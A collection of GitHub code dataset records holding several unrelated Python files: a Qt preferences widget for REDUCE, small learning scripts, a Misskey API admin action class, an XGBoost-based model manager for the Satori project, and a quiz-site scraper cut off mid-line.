self.sizeCombo.addItem(str(size))\n self.sizeComboFs.addItem(str(size))\n\n self.sizeCombo.blockSignals(False)\n self.sizeComboFs.blockSignals(False)\n\n currentSize = unicode(QSettings().value(\"worksheet/fontsize\",\n QtReduceDefaults.FONTSIZE))\n sizeIndex = self.sizeCombo.findText(currentSize)\n self.sizeCombo.setCurrentIndex(sizeIndex)\n\n currentSize = unicode(QSettings().value(\"worksheet/fontsizefs\",\n QtReduceDefaults.FONTSIZEFS))\n sizeIndex = self.sizeCombo.findText(currentSize)\n self.sizeComboFs.setCurrentIndex(sizeIndex)\n\n\nclass QtReducePreferencesComputation(QWidget):\n def __init__(self,parent=None):\n super(QtReducePreferencesComputation,self).__init__(parent)\n\n reduceGroup = QGroupBox(\"Reduce\")\n\n self.reduceBinary = QLineEdit()\n\n # font = self.reduceBinary.font()\n # font.setFamily(QSettings().value(\"worksheet/fontfamily\",\n # QtReduceDefaults.FONTFAMILY))\n # self.reduceBinary.setFont(font)\n\n self.reduceBinary.setText(QSettings().value(\"computation/reduce\",\n QtReduceDefaults.REDUCE))\n\n self.reduceBinary.editingFinished.connect(self.editingFinishedHandler)\n\n reduceLayout = QFormLayout()\n reduceLayout.addRow(self.tr(\"Reduce Binary\"),self.reduceBinary)\n\n reduceGroup.setLayout(reduceLayout)\n\n mainLayout = QVBoxLayout()\n mainLayout.addWidget(reduceGroup)\n\n self.setLayout(mainLayout)\n\n def editingFinishedHandler(self):\n settings = QSettings()\n old = settings.value(\"computation/reduce\",QtReduceDefaults.REDUCE)\n new = self.reduceBinary.text()\n if old == new:\n return\n self.reduceBinary.blockSignals(True)\n tit = \"Change Binary?\"\n txt = self.tr(\"Do you really want to change this setting?\")\n itxt = self.tr(\"If yes, then the binary \")\n itxt += '\"' + new + '\" '\n itxt += self.tr(\"will be used at the next restart.\")\n mbox = QMessageBox(self)\n mbox.setIcon(QMessageBox.Question)\n mbox.setWindowModality(Qt.WindowModal)\n mbox.setWindowTitle(tit)\n mbox.setText(txt)\n mbox.setInformativeText(itxt)\n mbox.setStandardButtons(QMessageBox.Yes|QMessageBox.No)\n button = mbox.exec_()\n if button == QMessageBox.Yes:\n settings.setValue(\"computation/reduce\",new)\n else:\n self.reduceBinary.setText(old)\n self.reduceBinary.blockSignals(False)\n","repo_name":"kenjinote/REDUCE","sub_path":"generic/qreduce/qrpreferences.py","file_name":"qrpreferences.py","file_ext":"py","file_size_in_byte":13690,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"36552119214","text":"class Display:\n\n def affiche(self, message):\n print(message)\n\n def affiche_menu(self, list):\n index = 1\n for choice in list:\n print(index, \" - \", choice)\n index += 1\n\n def get_input(self, message, format):\n if format == 'number':\n response = input(message)\n try:\n return int(response)\n\n except ValueError:\n print('mauvais format : ', format)\n self.get_input(message, format)\n\n if format == 'string':\n response = input(message)\n","repo_name":"evensdev/python-terminal-program-chess","sub_path":"views/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"31524108477","text":"print(\"\"\"\r\nMükemmel Sayı Nedir?\r\n\r\nBir sayının kendi hariç bölenlerinin toplamı kendine eşitse bu sayıya \"mükemmel sayı\" denir. \r\nÖrnek olarak, 6 mükemmel bir sayıdır. (1 + 2 + 3 = 6)\r\n\r\n\"\"\")\r\n\r\nsayi = int(input(\"Bir Sayı Giriniz:\"))\r\nx = range(1,1000)\r\ntoplam = 0\r\n\r\nfor i in x:\r\n if (sayi % i == 0):\r\n toplam = toplam + i\r\n else:\r\n continue\r\nif ((toplam - sayi)== sayi):\r\n print(\"{} Bir Mükemmel Sayıdır!\".format(sayi))\r\nelse:\r\n print(\"{} Bir Mükemmel Sayı Değildir!\".format(sayi))\r\n\"\"\"\r\n\r\nİkinci Kodlama Yöntemi\r\n\r\n\r\nsayı = int(input(\"Sayı:\"))\r\n\r\ni = 1\r\ntoplam = 0\r\nwhile (i < sayı):\r\n if (sayı % i == 0):\r\n toplam += i\r\n i += 1\r\n\r\nif (toplam == sayı):\r\n print(sayı,\"mükemmel bir sayıdır.\")\r\nelse:\r\n print(sayı,\"mükemmel bir sayı değildir.\")\r\n\"\"\"","repo_name":"goktugsina/perfect-number","sub_path":"perfect-number.py","file_name":"perfect-number.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16041528271","text":"from threading import Thread\nfrom random import randint\nimport random\nimport string\nimport sys\nimport os\nimport time\n\n# Classe que extende da classe Thread.\n\nclass Th(Thread):\n\n def __init__ (self, num, quantum, fila):\n Thread.__init__(self)\n self.num = num\n self.countdown = randint(2000, 40000)\n self.quantum = quantum\n self.permissao = False\n self.fila = fila\n\n def run(self):\n sys.stdout.write(\"Thread de numero \" + str(self.num) + \" criada\\n\")\n sys.stdout.flush()\n\n while(self.countdown > 0):\n if (self.permissao == True):\n #sys.stdout.write(str(self.num) + \" \"+str(self.quantum)+\" \\n\")\n #sys.stdout.flush()\n self.countdown = self.countdown - 1\n\n sys.stdout.write(\"Thread de numero \" + str(self.num) + \" primeiro countdown FINALIZADO... Boa noite! Z z Z z Z z\\n\")\n sys.stdout.flush()\n\n time.sleep(randint(1,10))\n\n self.countdown = randint(2000, 20000)\n\n if(self.quantum > 1):\n self.quantum = self.quantum - 1\n\n sys.stdout.write(\"Thread de numero \" + str(self.num) + \" retornando à fila com prioridade elevada! Novo quantum: \"+str(self.quantum)+\"\\n\")\n sys.stdout.flush()\n\n self.fila.insert(self, self.quantum)\n\n while(self.countdown > 0):\n if (self.permissao == True):\n #sys.stdout.write(str(self.num) + \" \"+str(self.quantum)+\" \\n\")\n #sys.stdout.flush()\n self.countdown = self.countdown - 1\n\n sys.stdout.write(\"Thread de numero \" + str(self.num) + \" segundo countdown FINALIZADO COM SUCESSO :)\\n\")\n sys.stdout.flush()\n\n\n\n\nclass ThRef():\n def __init__(self, num, quantum): \n self.num = num\n self.quantum = quantum\n","repo_name":"diogolimamarques/SO_Atv2","sub_path":"Th.py","file_name":"Th.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31637943897","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom mipac.abstract.action import AbstractAction\nfrom mipac.http import Route\n\nif TYPE_CHECKING:\n from mipac.http import HTTPClient\n from mipac.manager.client import ClientManager\n\n\nclass AdminModeratorActions(AbstractAction):\n def __init__(self, user_id: str | None = None, *, session: HTTPClient, client: ClientManager):\n self.__session: HTTPClient = session\n self.__client: ClientManager = client\n self.__user_id: str | None = user_id\n\n async def add(self, user_id: str | None = None) -> bool:\n \"\"\"\n Add a user as a moderator\n\n Parameters\n ----------\n user_id : str | None, default=None\n ユーザーのID\n\n Returns\n -------\n bool\n 成功したか否か\n \"\"\"\n\n user_id = user_id or self.__user_id\n data = {\"userId\": user_id}\n res = await self.__session.request(\n Route(\"POST\", \"/api/admin/moderators/add\"),\n json=data,\n auth=True,\n lower=True,\n )\n return bool(res)\n\n async def remove(self, user_id: str | None = None) -> bool:\n \"\"\"\n Unmoderate a user\n\n Parameters\n ----------\n user_id : str | None, default=None\n ユーザーのID\n\n Returns\n -------\n bool\n 成功したか否か\n \"\"\"\n user_id = user_id or self.__user_id\n data = {\"userId\": user_id}\n res = await self.__session.request(\n Route(\"POST\", \"/api/admin/moderators/remove\"),\n json=data,\n auth=True,\n lower=True,\n )\n return bool(res)\n","repo_name":"yupix/MiPAC","sub_path":"mipac/actions/admins/moderator.py","file_name":"moderator.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"20146982127","text":"from tool.get_token import *\n\n\nclass MyTestCase(unittest.TestCase):\n \"\"\"回复列表\"\"\"\n\n def setUp(self):\n self.url = url + \"/app/book/comment-reply-list\"\n\n def test_1(self):\n data = {\n 'book_id': '',\n 'id': '',\n 'page_num': ''\n }\n res = requests.get(url=self.url, params=data)\n print(res.text)\n self.assertTrue(u\"\" in res.text)\n\n def tearDown(self):\n time.sleep(1)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"wing1king/test_platform_api","sub_path":"test_case/test_17.py","file_name":"test_17.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42082831990","text":"# WIP\n# This is the core of the engine - building models continuously to search for the best one\n# its reactive, but needs better architecture to support a more modular design.\n# the only option people have right now is to extend the object with overrides, using\n# their own algorithms, but that basically means rewriting the whole thing.\n# it needs better modularity, and perhaps should make use of sci-kit learn's pipelines.\n'''\nBasic Reponsibilities of the ModelManager:\n1. keep a record of the datasets, features, and parameters of the best model.\n2. retrain the best model on new data available, generate and report prediction.\n3. continuously generate new models to attempt to find a better one.\n A. search the parameter space smartly\n B. search the engineered feature space smartly\n C. evaluate new datasets when they become available\n4. save the best model details and load them upon restart\n'''\nimport os\nimport copy\nimport time\nimport random\nimport joblib\nimport numpy as np\nimport pandas as pd\nimport datetime as dt\nfrom itertools import product\nfrom functools import partial\nfrom reactivex.subject import BehaviorSubject\nfrom sklearn.exceptions import NotFittedError\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_absolute_error\nimport ppscore\nfrom xgboost import XGBRegressor, XGBClassifier\n\nfrom satori.lib.apis import disk, memory\nfrom satori import config\nfrom .structs import HyperParameter, SourceStreamTargets\n\n\nclass ModelManager:\n\n def __init__(\n self,\n modelPath:str=None,\n hyperParameters:'list(HyperParameter)'=None,\n metrics:dict=None,\n features:dict=None,\n chosenFeatures:'list(str)'=None,\n pinnedFeatures:'list(str)'=None,\n exploreFeatures:bool=True,\n sourceId:str='',\n streamId:str='',\n targetId:str='',\n targets:list[SourceStreamTargets]=None,\n split:'int|float'=.2,\n override:bool=False,\n ):\n '''\n modelPath: the path of the model\n hyperParameters: a list of HyperParameter objects\n metrics: a dictionary of functions that each produce\n a feature (from 1 dynamic column)\n example: year over year, rolling average\n features: a dictionary of functions that each take in\n multiple columns of the raw data and ouput\n a feature (cols known ahead of time)\n example: high minus low, x if y > 1 else 2**z\n chosenFeatures: list of feature names to start with\n pinnedFeatures: list of feature names to keep in model\n exploreFeatures: change features or not\n id: column name of response variable\n split: train test split percentage or count\n override: override the existing model saved to disk if there is one\n '''\n self.sourceId = sourceId\n self.streamId = streamId\n self.targetId = targetId\n self.modelPath = modelPath or config.root('..', 'models', self.sourceId, self.streamId, self.targetId + '.joblib')\n #self.sources = {'source': {'stream':['targets']}}\n self.targets:list[SourceStreamTargets] = targets\n self.id = SourceStreamTargets(source=sourceId, stream=streamId, targets=[targetId])\n self.hyperParameters = hyperParameters or []\n self.chosenFeatures = chosenFeatures or []\n self.pinnedFeatures = pinnedFeatures or []\n self.scoredFeatures = {}\n self.features = features or {}\n self.metrics = metrics\n self.exploreFeatures = exploreFeatures\n self.testFeatures = self.chosenFeatures\n self.split = split\n self.featureData = {}\n self.xgbInUse = False\n self.xgb = None\n self.setupFlags()\n if not override:\n self.load()\n self.get()\n self.produceFeatureStructure()\n if not self.data.empty:\n self.produceFeatureSet()\n self.syncManifest()\n\n def overview(self):\n return {\n 'source': self.sourceId,\n 'stream': self.streamId, \n 'target': self.targetId, \n 'value': self.current.values[0][0] if hasattr(self, 'current') else '',\n 'prediction': self.prediction if hasattr(self, 'prediction') else '',\n # this isn't the accuracy we really care about (historic accuracy), \n # it's accuracy of this current model on historic data.\n 'accuracy': f'{str(self.stable*100)[0:5]} %' if hasattr(self, 'stable') else '', \n 'subscribers':'none'}\n\n def syncManifest(self):\n manifest = config.get('manifest') or {}\n manifest[self.key()] = {\n 'targets': [x.asTuples() for x in self.targets], \n 'purged': manifest.get(self.key(), {}).get('purged', [])}\n config.put('manifest', data=manifest)\n\n ### FLAGS ################################################################################\n \n def setupFlags(self):\n self.modelUpdated = BehaviorSubject(None)\n self.targetUpdated = BehaviorSubject(None)\n self.inputsUpdated = BehaviorSubject(None)\n self.predictionUpdate = BehaviorSubject(None)\n self.predictionEdgeUpdate = BehaviorSubject(None)\n self.newAvailableInput = BehaviorSubject(None)\n \n ### STATIC FEATURES GENERATORS ###########################################################\n\n @staticmethod\n def rawDataMetric(df:pd.DataFrame=None, column:tuple=None) -> pd.Series:\n def name() -> tuple:\n return column\n \n if df is None:\n return name()\n feature = df.loc[:, column]\n feature.name = name()\n return feature\n\n @staticmethod\n def dailyPercentChangeMetric(\n df:pd.DataFrame=None,\n column:tuple=None,\n prefix:str='Daily',\n yesterday:int=1,\n ) -> pd.Series:\n\n def name() -> tuple:\n return tuple([col for col in column[0:len(column)-1]]) + (prefix+column[len(column)-1]+str(yesterday),) \n\n if df is None:\n return name()\n feature = df.loc[:, column].shift(yesterday-1) / df.loc[:, column].shift(yesterday)\n feature.name = name()\n return feature\n\n @staticmethod\n def rollingPercentChangeMetric(\n df:pd.DataFrame=None,\n column:tuple=None,\n prefix:str='Rolling',\n window:int=2,\n transformation:str='max',\n ) -> pd.Series:\n \n def name() -> tuple:\n return tuple([col for col in column[0:len(column)-1]]) + (prefix+column[len(column)-1]+str(window)+transformation.replace('(','').replace(')',''),) \n\n if df is None:\n return name()\n transactionOptions = 'sum max min mean median std count var skew kurt quantile cov corr apply'\n if (isinstance(window, int)\n and transformation.startswith(tuple(transactionOptions.split()))):\n feature = df[column] / eval(f'df[column].shift(1).rolling(window={window}).{transformation}')\n feature.name = name()\n return feature\n\n raise Exception('eval call on transformation failed, unable to create feature')\n \n\n ### GET DATA ####################################################################\n \n #@staticmethod\n #def addFeatureLevel(df:pd.DataFrame):\n # ''' adds a feature level to the multiindex columns'''\n # return pd.MultiIndex.from_tuples([c + ('Raw',) for c in df.columns])\n\n def get(self):\n ''' gets the raw data from disk '''\n \n \n def handleEmpty():\n '''\n todo: what should we do if no data available yet? \n should self.data be None? or should it be an empty dataframe without our target columns?\n or should it be an empty dataframe with our target columns?\n It seems like it should just be None and that we should halt behavior until it has a\n threshold amount of data.\n '''\n self.data = self.data if self.data is not None else pd.DataFrame(\n {x: [] for x in SourceStreamTargets.combine(self.targets)})\n \n self.data = disk.Api().gather(sourceStreamTargetss=self.targets, targetColumn=self.id.id)\n handleEmpty()\n\n ### TARGET ####################################################################\n\n def produceTarget(self):\n series = self.data.loc[:, self.id.id()].shift(-1)\n self.target = pd.DataFrame(series)\n\n def key(self):\n return self.id.id()\n \n def streamKey(self):\n return self.id.id()\n\n ### FEATURES ####################################################################\n\n def produceFeatureStructure(self):\n self.features = {\n **self.features,\n **{\n metric(column=col): partial(metric, column=col)\n for metric, col in product(self.metrics.values(), self.data.columns)}\n }\n\n def produceFeatureSet(self):\n producedFeatures = []\n for feature in self.chosenFeatures:\n fn = self.features.get(feature)\n if callable(fn):\n producedFeatures.append(fn(self.data))\n if len(producedFeatures) > 0:\n self.featureSet = pd.concat(\n producedFeatures,\n axis=1,\n keys=[s.name for s in producedFeatures])\n \n def produceTestFeatureSet(self, featureNames:'list[str]'=None):\n producedFeatures = []\n for feature in featureNames or self.testFeatures:\n fn = self.features.get(feature)\n if callable(fn):\n producedFeatures.append(fn(self.data))\n if len(producedFeatures) > 0:\n self.testFeatureSet = pd.concat(\n producedFeatures,\n axis=1,\n keys=[s.name for s in producedFeatures])\n\n def produceEvalFeatureSet(self, featureNames:'list[str]'):\n producedFeatures = []\n for feature in featureNames or self.testFeatures:\n fn = self.features.get(feature)\n if callable(fn):\n producedFeatures.append(fn(self.data))\n if len(producedFeatures) > 0:\n return pd.concat(\n producedFeatures,\n axis=1,\n keys=[s.name for s in producedFeatures])\n\n def produceFeatureImportance(self):\n self.featureImports = {\n name: fimport\n for fimport, name in zip(self.xgbStable.feature_importances_, self.featureSet.columns)\n } if self.xgbStable else {}\n\n def leastValuableFeature(self):\n if len(self.xgbStable.feature_importances_) == len(self.chosenFeatures):\n matched = [(val, idx) for idx, val in enumerate(self.xgbStable.feature_importances_)]\n candidates = []\n for pair in matched:\n if pair[0] not in self.pinnedFeatures:\n candidates.append(pair)\n if len(candidates) > 0:\n return self.chosenFeatures[min(candidates)[1]]\n return None\n\n def scoreFeatures(self, df:pd.DataFrame = None) -> dict:\n ''' generates a predictive power score for each column in df '''\n df = df if df is not None else self.featureSet\n if self.target.columns[0] in df.columns:\n df = df.drop(self.target.columns[0], axis=1)\n df = pd.concat([df, self.target], axis=1)\n return {\n v['x']: v['ppscore']\n for v in ppscore.predictors(\n df,\n y=self.key(),\n output='df',\n sorted=True,\n sample=None)[['x', 'ppscore']].T.to_dict().values()}\n\n\n ### FEATURE DATA ####################################################################\n\n def produceFeatureData(self):\n '''\n produces our feature data map:\n {feature: (feature importance, [raw inputs])}\n '''\n for k in self.featureSet.columns:\n self.featureData[k] = (\n self.featureImports[k], # KeyError: ('streamrSpoof', 'simpleEURCleanedHL', 'RollingHigh43median')\n self.featureData[k][1] if k in self.featureData.keys() else [] + (\n self.features[k].keywords.get('columns', None)\n or [self.features[k].keywords.get('column')]))\n\n def showFeatureData(self):\n '''\n returns true raw feature importance\n example: {\n 'Close': 0.6193444132804871,\n 'High': 0.16701968474080786,\n 'Low': 0.38159190578153357}\n '''\n rawImportance = {}\n for importance, features in self.featureData.values():\n for name in features:\n rawImportance[name] = (importance / len(features)) + rawImportance.get(name, 0)\n return rawImportance\n\n ### CURRENT ####################################################################\n\n def producePredictable(self):\n if self.featureSet.shape[0] > 0:\n self.current = pd.DataFrame(self.featureSet.iloc[-1,:]).T#.dropna(axis=1)\n #print('\\nself.data\\n', self.data.tail(2))\n #print('\\nself.featureSet\\n', self.featureSet.tail(2))\n #print('\\nself.current\\n', self.current)\n #print('\\nself.prediction\\n', self.prediction)\n\n def producePrediction(self):\n return self.xgb.predict(self.current)[0]\n\n ### TRAIN ######################################################################\n\n def produceTrainingSet(self):\n df = self.featureSet.copy()\n df = df.iloc[0:-1,:]\n df = df.replace([np.inf, -np.inf], np.nan)\n df = df.reset_index(drop=True)\n self.trainX, self.testX, self.trainY, self.testY = train_test_split(\n df, self.target.iloc[0:df.shape[0], :], test_size=self.split or 0.2, shuffle=False)\n\n def produceTestTrainingSet(self):\n df = self.testFeatureSet.copy()\n df = df.iloc[0:-1,:]\n df = df.replace([np.inf, -np.inf], np.nan)\n df = df.reset_index(drop=True)\n self.trainXtest, self.testXtest, self.trainYtest, self.testYtest = train_test_split(\n df, self.target.iloc[0:df.shape[0], :], test_size=self.split or 0.2, shuffle=False)\n\n def produceFit(self):\n self.xgbInUse = True\n if all(isinstance(y[0], (int, float)) for y in self.trainY.values):\n self.xgb = XGBRegressor(**{param.name: param.value for param in self.hyperParameters})\n else:\n # todo: Classifier untested\n self.xgb = XGBClassifier(**{param.name: param.value for param in self.hyperParameters})\n self.xgb.fit(\n self.trainX,\n self.trainY,\n eval_set=[(self.trainX, self.trainY), (self.testX, self.testY)],\n eval_metric='mae',\n early_stopping_rounds=200,\n verbose=False)\n #self.xgbStable = copy.deepcopy(self.xgb) ## didn't fix it.\n self.xgbStable = self.xgb\n self.xgbInUse = False\n\n def produceTestFit(self):\n if all(isinstance(y[0], (int, float)) for y in self.trainY.values):\n self.xgbTest = XGBRegressor(**{param.name: param.test for param in self.hyperParameters})\n else:\n # todo: Classifier untested\n self.xgbTest = XGBClassifier(**{param.name: param.value for param in self.hyperParameters})\n self.xgbTest.fit(\n self.trainXtest,\n self.trainYtest,\n eval_set=[(self.trainXtest, self.trainYtest), (self.testXtest, self.testYtest)],\n eval_metric='mae',\n early_stopping_rounds=200,\n verbose=False)\n\n ### META TRAIN ######################################################################\n\n def produceTestHyperParameters(self):\n def radicallyRandomize():\n for param in self.hyperParameters:\n x = param.min + (random.random() * (param.max - param.min))\n if param.kind == int:\n x = int(x)\n param.test = x\n\n def incrementallyRandomize():\n for param in self.hyperParameters:\n x = (\n (random.random() * param.limit * 2) +\n (param.value - param.limit))\n if param.min < x < param.max:\n if param.kind == int:\n x = int(round(x))\n param.test = x\n\n x = random.random()\n if x >=.9:\n radicallyRandomize()\n elif .1 < x < .9:\n incrementallyRandomize()\n\n def produceTestFeatures(self):\n ''' sets testFeatures to a list of feature names '''\n def preservePinned():\n self.testFeatures.extend([\n feature for feature in self.pinnedFeatures\n if feature not in self.testFeatures])\n\n def radicallyRandomize():\n count = min(max(len(self.chosenFeatures) + 2, 1), len(self.features))\n maxCount = len(list(self.features.keys()))\n if maxCount > count * 5:\n evalScores = generateEvalScores(possibleFeatures=list(self.features.keys()), count=count*5)\n self.testFeatures = [evalScores[i][0] for i in range(0, count)]\n else:\n self.testFeatures = list({\n random.choice(list(self.features.keys()))\n for _ in range(0, count)})\n\n def dropOne():\n if len(self.chosenFeatures) >= 2:\n choice = self.leastValuableFeature() or random.choice(self.chosenFeatures)\n self.testFeatures = [f for f in self.chosenFeatures if f != choice]\n else:\n self.testFeatures = self.chosenFeatures\n\n def addOne():\n notChosen = [f for f in self.features.keys() if f not in self.chosenFeatures]\n if len(notChosen) > 100:\n evalScores = generateEvalScores(notChosen)\n self.testFeatures = self.chosenFeatures + [evalScores[0][0]]\n elif len(notChosen) > 0:\n self.testFeatures = self.chosenFeatures + [random.choice(notChosen)]\n else:\n self.testFeatures = self.chosenFeatures\n\n def replaceOne():\n notChosen = [f for f in self.features.keys() if f not in self.chosenFeatures]\n if len(notChosen) == 0 or len(self.chosenFeatures) == 0:\n self.testFeatures = self.chosenFeatures\n else:\n if len(notChosen) > 100:\n evalScores = generateEvalScores(notChosen)\n addChoice = evalScores[0][0]\n elif len(notChosen) > 0:\n addChoice = random.choice(notChosen)\n dropChoice = self.leastValuableFeature() or random.choice(self.chosenFeatures)\n self.testFeatures = self.chosenFeatures + [addChoice]\n self.testFeatures = [f for f in self.testFeatures if f != dropChoice]\n\n def generateEvalScores(possibleFeatures:'list[str]', count:int=None):\n count = count or min(20, round(len(possibleFeatures)*0.05))\n evalSet = self.produceEvalFeatureSet(\n featureNames=list(set([random.choice(possibleFeatures) for _ in range(0, count)])))\n evalSet = evalSet.replace([np.inf, -np.inf], np.nan)\n evalScores = self.scoreFeatures(evalSet)\n self.scoredFeatures = {**self.scoredFeatures, **evalScores}\n evalScores = list(evalScores.items())\n evalScores.sort(key=lambda x:x[1])\n evalScores.reverse()\n return evalScores\n\n if self.exploreFeatures:\n x = random.random()\n if x >=.9:\n radicallyRandomize()\n elif x >=.7:\n replaceOne()\n elif x >=.5:\n addOne()\n elif x >=.3:\n dropOne()\n else:\n self.testFeatures = self.chosenFeatures\n else:\n self.testFeatures = self.chosenFeatures\n preservePinned()\n\n def evaluateCandidate(self):\n ''' notice, model consists of the hyperParameter values and the chosenFeatures '''\n self.stable = self.xgb.score(self.testX, self.testY)\n self.test = self.xgbTest.score(self.testXtest, self.testYtest)\n # not sure what this score is... r2 f1? not mae I think\n if self.stable < self.test:\n for param in self.hyperParameters:\n param.value = param.test\n self.chosenFeatures = self.testFeatures\n self.featureSet = self.testFeatureSet\n self.save()\n return True\n return False\n \n ### SAVE ###########################################################################\n\n def save(self):\n ''' save the current model '''\n self.xgb.savedHyperParameters = self.hyperParameters\n self.xgb.savedChosenFeatures = self.chosenFeatures\n disk.safetify(self.modelPath)\n joblib.dump(self.xgb, self.modelPath)\n\n def load(self) -> bool:\n ''' loads the model - happens on init so we automatically load our progress '''\n if os.path.exists(self.modelPath):\n xgb = joblib.load(self.modelPath)\n if (\n all([scf in self.features.keys() for scf in xgb.savedChosenFeatures]) and\n True # all([shp in self.hyperParameters for shp in xgb.savedHyperParameters])\n ):\n self.xgb = xgb\n self.hyperParameters = self.xgb.savedHyperParameters\n self.chosenFeatures = self.xgb.savedChosenFeatures\n return True\n return False\n\n ### MAIN PROCESSES #################################################################\n\n def buildStable(self):\n #self.get()\n if self.data is not None and not self.data.empty and self.data.shape[0] > 20:\n self.produceTarget()\n self.produceFeatureStructure()\n self.produceFeatureSet()\n self.producePredictable()\n self.produceTrainingSet()\n self.produceFit()\n self.produceFeatureImportance()\n self.produceFeatureData()\n return True\n return False\n\n def buildTest(self):\n self.produceTestFeatures()\n self.produceTestFeatureSet()\n self.produceTestTrainingSet()\n self.produceTestHyperParameters()\n self.produceTestFit()\n \n ### LIFECYCLE ######################################################################\n \n def runPredictor(self):\n def makePrediction(isTarget=False):\n if isTarget and self.buildStable():\n self.prediction = self.producePrediction()\n print(f'self.prediction - {self.streamId} {self.targetId}:', self.prediction)\n self.predictionUpdate.on_next(self)\n ## this is a feature to be added - a second publish stream which requires a\n ## different dataset - one where the latest update is taken into account.\n # if self.edge: \n # self.predictionEdgeUpdate.on_next(self)\n #elif self.edge:\n # self.buildStable()\n # self.predictionEdge = self.producePrediction()\n # self.predictionEdgeUpdate.on_next(self)\n \n def makePredictionFromNewModel():\n print(f'model updated - {self.streamId} {self.targetId}:', self.stable, self.test)\n makePrediction()\n \n def makePredictionFromNewInputs(incremental):\n self.data = memory.appendInsert(\n df=self.data, \n incremental=incremental)\n makePrediction()\n \n def makePredictionFromNewTarget(incremental):\n for col in incremental.columns:\n if col not in self.data.columns:\n incremental = incremental.drop(col, axis=1)\n #incremental.columns = ModelManager.addFeatureLevel(df=incremental)\n self.data = memory.appendInsert(\n df=self.data, \n incremental=incremental)\n makePrediction(isTarget=True)\n \n self.modelUpdated.subscribe(lambda x: makePredictionFromNewModel() if x is not None else None)\n self.inputsUpdated.subscribe(lambda x: makePredictionFromNewInputs(x) if x is not None else None)\n self.targetUpdated.subscribe(lambda x: makePredictionFromNewTarget(x) if x is not None else None)\n \n def runExplorer(self):\n if hasattr(self, 'target') and hasattr(self, 'xgbStable'):\n try:\n self.buildTest()\n if self.evaluateCandidate():\n self.modelUpdated.on_next(True)\n except NotFittedError as e:\n '''\n this happens on occasion...\n maybe making self.xgbStable a deepcopy would fix\n '''\n #print('not fitted', e)\n pass\n #except AttributeError as e:\n # ''' \n # this happens at the beginning of running when we have not set\n # self.xgbStable yet.\n # \n # '''\n # #print('Attribute', e)\n # pass\n ##except Exception as e:\n ## print('UNEXPECTED', e)\n else:\n time.sleep(1)\n \n def syncAvailableInputs(self):\n \n def sync(x):\n '''\n add the new datastreams and histories to the top \n of the list of things to explore and evaluate \n '''\n ## something like this?\n #self.features.append(x)\n # \n #self.targets.append(SourceStreamTargets(x)) or something\n #self.syncManifest() then sync manifest when you change targets.\n #maybe remove targets that aren't being used as any features.. somewhere?\n \n self.newAvailableInput.subscribe(lambda x: sync(x) if x is not None else None)\n\n\ndef show(name, value):\n if isinstance(value, pd.DataFrame):\n print(f'\\n{name}\\n', value.tail(2))\n else:\n print(f'\\n{name}\\n', value)","repo_name":"0xStuart/Satori","sub_path":"satori/lib/engine/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":26193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"899588278","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport lxml\n\nclass Question():\n def __init__(self, tema = \"\", id_voprosa = \"\", vopros = \"\", reshenie = \"\", otvet1 = \"\", otvet2 = \"\", otvet3 = \"\", otvet4 = \"\"):\n self.id = id_voprosa\n self.tema = tema\n self.vopros = vopros\n self.reshenie = reshenie\n self.otvet_yes = otvet_yes\n self.otvet2 = otvet2\n self.otvet3 = otvet3\n self.otvet4 = otvet4\n\nall_hrefs = list()\nfor i in range(1,13):\n url = 'https://ravanda.ru/i-exam/p/%D0%9C%D0%B5%D1%82%D1%80%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F,%20%D1%81%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F,%20%D1%81%D0%B5%D1%80%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F/'+str(i) # url страницы\n r = requests.get(url)\n soup = BeautifulSoup(r.text, 'html.parser')\n items = soup.find_all('a', {'class': 'sub_question'})\n for j in items:\n all_hrefs.append(j.get('href'))\n\nall_questions = list()\nn = 0\nfor i in all_hrefs:\n n+=1\n try:\n print(n, \" / \", len(all_hrefs))\n url = 'https://ravanda.ru'+i\n r = requests.get(url)\n r.encoding = 'utf-8'\n soup = BeautifulSoup(r.text, 'html.parser')\n q_div = soup.find('div', {'class': 'question_block'})\n temy = q_div.find_all(\"div\", {'class': 'tema'})\n\n id_voprosa = i.split(\"/\")[-1]\n tema_voprosa = temy[1].find(\"div\", {'class': 'tema_text'}).text\n vopros = temy[2].find(\"div\", {'class': 'tema_text'}).text\n reshenie = soup.find('div', {'class': 'solution_block'}).\\\n find('div', {'class': 'tema'}).find(\"div\", {'class': 'tema_text'}).text\n otvet1 = soup.find('div', {'class': 'answer_block'}).\\\n find('div', {'class': 'answer'}).find_all('div', {'class': 'otvet'})[0].text\n otvet2 = soup.find('div', {'class': 'answer_block'}).\\\n find('div', {'class': 'answer'}).find_all('div', {'class': 'otvet'})[1].text\n otvet3 = soup.find('div', {'class': 'answer_block'}).\\\n find('div', {'class': 'answer'}).find_all('div', {'class': 'otvet'})[2].text\n otvet4 = soup.find('div', {'class': 'answer_block'}).\\\n find('div', {'class': 'answer'}).find_all('div', {'class': 'otvet'})[3].text\n all_questions.append([vopros, otvet1, otvet2, otvet3, otvet4, id_voprosa, tema_voprosa, reshenie])\n except Exception:\n print(n, \" / \", len(all_hrefs), \" mistakenly\")\n\n \ndf = pd.DataFrame(all_questions, columns =['вопрос', 